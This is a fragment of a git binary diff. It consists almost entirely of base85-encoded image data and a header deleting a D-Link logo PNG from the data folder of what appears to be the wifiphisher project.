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 diff --git a/wifiphisher/data/logos/dlink.png b/wifiphisher/data/logos/dlink.png deleted file mode 100644 index 4b3ca0c7f22faad135e23758a40b9b2f1f670655..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13990 zcmXYY1yoy2*ER0$R-hCJ#ob*VC~n2w9g4e_;!xZRgrdP+ixsD6ad&qQ_TPT*zp_YJ zS-CTF=bSmR_r6i8%CeYfWN0ujFqog@q}5?y;HiQC3s8`NcQNOhHx}=I!4r zzq2G6_y*NQPS*{%V*cMBtRzFWH}EC0`zIwCM0;5Wp2zFA5VXQC{%t&FfeP> ztZY&u978B=Vw`JhAhai5UTXWxy7ix`s@zbAUto~5ekB4PCo0!@?u3{jeMhF>+0~iP zXlE$L0LhHk*SbR?1iZ6Kupf=TR%a}ZDFQnJ10pZ%QixZGC7J@lE5=o*7gYEh^Mxmd zQvkh)V}Rf|s++_-_E2f~#uL`JqL(b@iPmk5Z-Dyvy#c?Xz)a0a-L@mPa zf5WqHcCZ*MoZB-P!y?^YqMpuEYlkl`JqGJpl4$%MDLy~Q5tEt3C%}SPi4b{V(X77t z<5ABdmlh0M8&$u9m@VMggtIq32i2{l)_zozs``+8siiPLP+Ip<3hprd2Am2v2p`4z zI*R>#WFq8;Jcfs39?S8?Rq{_U>&-lTGWsouky&*;5b4@k*NV_eF{Cs{l-lNc*XUL; z#5^SMm@g`IrqAKDlW4Mqj(T{Q{5|}g*MUt+F5$b-5pi_;yuUf}gLtWx-HavzlSplF zD`>c{glNuqZ9yDcVa+GuEar+vsoLkK(tGgw#68}R+H6tg-WSC|di|vJA)1D6 z@}jGJ{cHtAbYv+hbB(2uQayE+7@kLj@j<@rx)trnM&#?lE!hGkeU|kJMHc7#2sXW- zWAjB&syAvza!|}ODrF!hsjd-w47%F$6V>;MM-)UtmHVz3r~Lp+{y-;{OnjOjB)+?k zML8a4^Af)LG3xuj{hVim9N3`$SM9rA0P43yUC8f%x)Zi0-}+ma!9OLl{dp(7{pVc2 zo~M{tQ~4c91zNmjqU&TW_43^n-`aM)hjCpuah`PZtDr8A`ljefm8@n;@JU2XUPR1l 